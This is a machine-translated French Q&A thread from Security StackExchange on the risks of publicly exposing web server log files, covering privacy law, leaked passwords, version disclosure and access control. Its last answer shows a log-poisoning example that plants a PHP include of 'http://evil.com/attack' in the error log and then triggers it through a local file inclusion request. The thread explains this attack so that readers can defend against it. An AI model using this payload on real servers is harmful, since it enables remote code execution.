Question:
Les fichiers journaux doivent-ils être tenus secrets?
Ola Eldøy
2018-12-06 15:23:44 UTC
view on stackexchange narkive permalink

L'accès aux fichiers journaux du serveur Web via une URL présente un certain attrait, car il offre un accès facile. Mais quels sont les risques de sécurité liés à l’autorisation de l’accès ouvert aux fichiers journaux?

Cela peut être un peu large à répondre, car cela dépend fortement à la fois de ce qu'il a enregistré et de ce qui est considéré comme sensible par la société effectuant la journalisation.Par exemple, un journal des statuts HTTP autres que 200 peut être sensible dans certains cas (montre des failles potentielles dans un site), mais ne contient rien de directement sensible.
L'un des risques de sécurité est qu'un développeur incompétent a décidé d'utiliser les requêtes GET pour tout, y compris la page de connexion.
Gardez également à l'esprit que cela peut révéler quelles IP se sont connectées à votre serveur Web, ce qui pourrait enfreindre les lois locales sur la confidentialité.
Les risques l'emportent de loin sur l'attrait de celui-ci ... une chose que personne n'a mentionnée est que non seulement la trace de pile peut montrer les technologies en jeu, elle expose également l'architecture du système, y compris les points sensibles tels que la connexion et l'autorisation.
L'un des plus grands risques serait d'exposer des données que vous n'êtes pas autorisé à partager avec le grand public.Pensez aux adresses IP et au GDPA, par exemple.Vous devez fournir une déclaration de confidentialité avec une raison pour laquelle vous traitez ces données et ainsi de suite, bla bla bla.Maintenant ... vous _publiez_ ces données accessibles par n'importe qui ... Je ne pense pas que cela fonctionnera sans attirer des ennuis.
Ce que @AustinHemmelgarn et Damon ont dit.Les journaux contiennent de grandes quantités de données portant atteinte à la vie privée.
Dans mon expérience passée en tant que développeur de serveur Java, j'ai déjà été témoin des détails de la carte de crédit dans les journaux du serveur.Dans une grande entreprise ou en croissance, il n'y a pas de comptabilité pour ce que les développeurs juniors peuvent faire.
Huit réponses:
Serge Ballesta
2018-12-06 15:55:58 UTC
view on stackexchange narkive permalink

Il y a clairement 2 lignes de défense différentes ici.

Premièrement, les données très sensibles (secrets, généralement des mots de passe) ne doivent jamais être consignées pour éviter toute compromission via les journaux.

Mais le plus un attaquant connaît un système, plus le risque de créer / d'utiliser une attaque ciblée est élevé. Par exemple, les versions de logiciels ne sont pas très sensibles et peuvent raisonnablement alimenter un journal, mais elles peuvent aider à choisir un vecteur d'attaque.

La deuxième ligne de défense est donc que quelqu'un qui n'a pas besoin d'accéder aux journaux devrait ne pas pouvoir les lire. C'est une application directe de la règle du moindre privilège.

Il est courant de fournir un accès aux journaux à l'équipe de développement / maintenance, mais vous devez évaluer le rapport risque / gain, selon à vos outils de sécurité d'accès. Le système le plus sécurisé est celui auquel aucun utilisateur ne peut accéder, mais sa facilité d'utilisation est également très faible ...

Je pensais que «compromis» était une faute de frappe, mais TIL c'est un vrai mot qui signifie «l'acte ou l'action de compromettre (en tant que principes moraux ou éthiques)»
Bien que les données hautement sensibles ne doivent jamais être enregistrées, cela arrive parfois par erreur.Cela devrait évidemment être résolu si cela se produit sur votre système, mais les conséquences de cette erreur sont bien plus importantes si les journaux sont exposés publiquement.
Tout fichier journal qui enregistre les noms d'utilisateur risque d'afficher également les mots de passe si un utilisateur suppose qu'il est invité à entrer son mot de passe alors qu'en fait, il est revenu à l'invite du nom d'utilisateur.De temps en temps, je réalisais que j'avais fait exactement cela et je me demandais si mon mot de passe avait été enregistré.
Votre quatrième paragraphe est assez important et je pense clarifie la façon dont certaines personnes comprennent mal la sécurité.Ce n'est pas parce que vous voulez «éviter la sécurité par l'obscurité» que vous devez annoncer des vecteurs d'attaque potentiels.
@Criggie: c'était en effet une faute de frappe (l'anglais n'est pas ma langue maternelle).Un * compromis * serait-il meilleur ici?
Malheureusement, de nombreux fichiers journaux (connexion Microsoft, je vous regarde!) Ne parviennent pas à masquer les informations sensibles car leur conception fondamentale ne tient pas compte des erreurs d'entrée de l'utilisateur.Supposons que vous tapez accidentellement (écran de connexion Windows) votre nom d'utilisateur, puis le clavier ne parvient pas à envoyer , vous tapez votre mot de passe: le fichier journal a maintenant nom + mot de passe en texte brut.Les failles de sécurité abondent parce que les concepteurs ne réfléchissent pas.ninja'd par le commentaire d'@Hugh Meyers sur la prochaine réponse.
Bien que les données hautement sensibles ne devraient pas être dans les journaux, cela se produit parfois de toute façon.Par exemple, j'ai par le passé implémenté l'intégration entre deux applications Web.En raison des choix de conception de l'application Web dont je n'étais pas responsable, nous devions recevoir des secrets de ce système via des paramètres d'URL qui se retrouveraient naturellement dans les journaux de notre serveur Web.Des exemples plus courants impliquent l'utilisation de secrets uniques dans les URL à certaines fins de validation.Il existe également la possibilité de journaux contenant des informations personnelles.
HBruijn
2018-12-06 16:35:05 UTC
view on stackexchange narkive permalink

L'accès aux données brutes du journal doit être limité aux utilisateurs autorisés.

La raison simple en est que même dans des conditions de fonctionnement normales , vos applications peuvent ne devraient pas non plus enregistrer de données sensible à exposer (et les opinions / réglementations sur ce que c'est exactement peuvent différer) il viendra presque certainement un moment où vos journaux contiennent des données sensibles:

  • Sauf si vous êtes extrêmement familier avec vos applications, vous ne savez pas à l'avance quels détails seront consignés lorsque l'application génère des erreurs ou des exceptions.
    La plupart des applications sont conçues pour limiter la quantité de détails dans les messages d'erreur qu'elles présentent aux utilisateurs finaux, mais enregistrent (beaucoup) plus détails dans leurs journaux pour aider les administrateurs et les développeurs à dépanner la cause de ces erreurs et exceptions.

  • Vous devrez peut-être augmenter la verbosité du journal pour le dépannage à un niveau tel que les journaux contiendront détails sensibles qui seraient normalement supprimés.

  • Comme les gens l'ont commenté: les personnes entrant des mots de passe pour les noms de connexion et les développeurs utilisant la méthode GET plutôt que POST et une myriade d'erreurs humaines similaires peuvent entraîner des champs autrement beaucoup plus inoffensifs dans le journal événements «pollués» par des données sensibles.


Il existe des produits qui vous permettront d'accorder aux utilisateurs authentifiés un accès Web et de définir les ACL sur des rapports uniquement agrégés, des données de journal nettoyées / filtrées et / ou tous les événements de journal brut tels que Splunk, Kibana et similaires.

Et bien que l'accès aux données brutes des journaux doive être restreint, vous pouvez toujours décider de publier plus publiquement soit un sous-ensemble nettoyé de vos journaux, soit les rapports que vous généreriez en fonction des journaux, c'est-à-dire publier un rapport d'utilisation et les statistiques des visiteurs plutôt que le journal d'accès brut

Un exemple supplémentaire: j'ai parfois tapé mon mot de passe dans le mauvais champ.Je ne suis probablement pas la seule personne à faire ça.Ainsi, des informations sensibles peuvent se retrouver dans un endroit qui ne serait normalement pas désinfecté.+1 pour quelques bons conseils.
@HughMeyers Je suis constamment surpris par le nombre d'utilisateurs qui mettent leur numéro de carte de crédit dans les champs du nom du titulaire de la carte.
@JustinLardinois Je n’ai jamais fait ça.Ce qui me dérange, ce sont les écrans qui mémorisent généralement votre nom de connexion et vous demandent simplement votre mot de passe.De temps en temps, ils oublient mon nom de connexion et le demandent.Si je suis sur le pilote automatique, je saisis simplement mon mot de passe et appuyez sur Entrée et le formulaire est envoyé.Mauvaise conception de l'interface utilisateur, mais je me blesse d'être négligente.De temps en temps, les auto-remplisseurs de formulaires se trompent aussi, donc je ne les utilise jamais.
@JustinLardinois pas surprenant - différents sites ont le nom du titulaire de la carte et le numéro de la carte * échangés *.Et les deux champs sont généralement de taille similaire.Vous pouvez donc saisir par défaut des données dans le mauvais champ sur un écran avec une disposition différente.Ajoutez au fait que lors de la saisie de ces informations, les gens se concentrent sur leur * carte * et non sur l'écran et une fois qu'ils ont terminé la saisie des données, ils sont intéressés si les informations qu'ils viennent de saisir sont * correctes *, plutôt que * sont-elles dans le bon champ*.Beaucoup de ces écrans sont également mal conçus, mis à part les problèmes inhérents.
@vlaz Je suis d'accord avec vous que les interfaces d'entrée de carte sont souvent mal conçues.Mais je me demande ce que pense l'utilisateur lorsqu'il met son numéro de carte dans les deux champs, ce qui est le seul moyen pour la transaction d'avoir son numéro dans le champ du nom et de continuer.
@JustinLardinois probablement quelque chose du genre "Cela m'a laissé continuer, donc je ne prendrai pas la peine de le corriger".Je le attribuerais à nouveau à une mauvaise conception - idéalement, cela vous empêcherait (probablement doucement) d'avoir les mêmes données dans les deux domaines.Le formulaire pourrait également être beaucoup plus clair sur quel champ est lequel - par exemple, un formulaire que j'ai vu récemment avait une image d'une carte vierge à côté du formulaire et lorsque vous avez mis l'accent sur un champ, il a mis en évidence la partie de la cartequi aurait cette information.Une fois que vous avez entré les informations, elles les placent également sur l'image de la carte.
KOLEGA
2018-12-06 21:46:07 UTC
view on stackexchange narkive permalink

Il a plus de points de vue:

1) En ne cachant pas les logs, vous exposez votre infrastructure.

2) L'UE a un RGPD. Il est interdit d'exposer des adresses IP, des noms, des e-mails ou tout autre élément personnel. (et au moins un comportement immoral et mauvais) gdpr-info.eu/art-32-gdpr

Si vous avez besoin de montrer les données enregistrées à un tiers ou à un outil dédié à accès facile. Dans mon bureau, c'est Graylog par exemple. Vous pouvez facilement récolter les journaux, les stocker et contrôler leur accès.

"immoral" -> "immoral".C'est trop court d'une correction et je ne peux pas modifier le message.
Vous voudrez peut-être vous référer à l'article 32 du RGPD, qui vous oblige à mettre en œuvre des mesures organisationnelles et techniques appropriées pour protéger les données personnelles.https://gdpr-info.eu/art-32-gdpr/
yourcomputergenius
2018-12-07 02:11:13 UTC
view on stackexchange narkive permalink

Les vulnérabilités pouvant résulter des types d'informations écrites dans les fichiers journaux sont énumérées sous la forme CWE-532 dans la base de données Common Weakness Enumeration.

Informations écrites sur Les fichiers journaux peuvent être de nature sensible et donner des conseils précieux à un attaquant ou exposer des informations sensibles sur l'utilisateur.

La question des informations protégées et personnellement identifiables est également très pertinente, comme abordé dans @ Réponse de KOLEGA ci-dessus.

Barmar
2018-12-06 23:52:34 UTC
view on stackexchange narkive permalink

Même si vous ne consignez pas intentionnellement des informations sensibles, elles peuvent parfois être enregistrées par inadvertance.

Par exemple, supposons que vous consigniez le nom d'utilisateur des échecs de connexion. Parfois, les gens saisissent accidentellement leur mot de passe dans le champ du nom d'utilisateur, et celui-ci sera alors consigné.

Il est préférable de traiter les journaux comme contenant potentiellement des informations qui devraient être protégées, même si vous ne les considérez normalement pas comme sensibles.

camp0
2018-12-06 15:37:14 UTC
view on stackexchange narkive permalink

Les fichiers journaux doivent être situés dans un emplacement sûr par défaut en général. Les fichiers journaux peuvent contenir des adresses IP, des e-mails et des informations protégées par la loi. Ma recommandation est donc de toujours conserver les fichiers journaux dans un emplacement sûr. D'un autre côté, dans certains cas, ces fichiers journaux sont utilisés à des fins médico-légales et vous devez en protéger la modification si possible, cela dépend un peu de votre système.

ethayng
2018-12-09 06:54:36 UTC
view on stackexchange narkive permalink

Comme Serge Ballesta l'a dit, les informations sensibles (noms d'utilisateur, mots de passe, etc.) ne devraient jamais être placées dans un fichier journal.

Le principal problème de sécurité réel qui en ressort d'avoir des fichiers journaux accessibles au public provient de l'obtention d'informations sur votre système, en particulier si vous utilisez un logiciel accessible au public (non développé pour ce système unique).

Si j'essaie d'accéder à votre système, une chose que je pourrais vérifier en premier est vos fichiers journaux. Si je suis capable de discerner quel logiciel votre système exécute, et plus important encore, quelle VERSION de ce logiciel est utilisée, je peux affiner considérablement ma recherche d'exploits. Peut-être que vous n'avez pas mis à jour votre logiciel avec la version la plus récente, il y a un bogue dans l'ancienne version qui me permet d'utiliser l'injection SQL, et il y a une ligne dans votre journal qui indique la version actuelle du logiciel utilisée.

C'est à peu près le même niveau de risque de sécurité que l'utilisation de code open source. Cela permet simplement un peu à un attaquant de trouver des exploits. Matière à réflexion.

symcbean
2018-12-07 22:43:20 UTC
view on stackexchange narkive permalink

Quelques bonnes réponses ici - mais pas complètes.

Oui, vos fichiers journaux peuvent contenir des données sensibles, par conséquent ces données doivent être explicitement limitées aux utilisateurs autorisés à y accéder. Malheureusement, selon mon expérience, la plupart des organisations qui mettent en œuvre ce type de contrôle se trompent gravement sur le nombre de personnes qui devraient être autorisées.

Mais un autre point important est que vos utilisateurs contrôlent une grande partie des données qui apparaissent ensuite dans les fichiers journaux. En fonction de l'architecture système de votre application, cela peut fournir un mécanisme permettant de tirer parti d'une vulnérabilité d'inclusion de fichier local dans un exploit complet. Considérez:

  GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E GET /vulnerable.php?file=/var/log/ httpd / error_log  

Cela peut être atténué par la façon dont votre serveur Web gère l'encodage de la requête en entrée et lors de l'écriture dans les fichiers journaux (mais est-ce complètement étanche? ). Si vous autorisez le serveur Web à accéder directement à l'emplacement du fichier journal via une URL, le mécanisme d'escalade est légèrement différent.

(Notez que dans l'exemple ci-dessus, s'il est possible d'appeler un include distant, alors cela sera probablement possible dans tout le code, donc persister l'exploit dans le fichier journal est redondant - mais c'est juste à des fins d'illustration, des exploits plus complexes peuvent être écrits)



Ce Q&R a été automatiquement traduit de la langue anglaise.Le contenu original est disponible sur stackexchange, que nous remercions pour la licence cc by-sa 4.0 sous laquelle il est distribué.
Loading...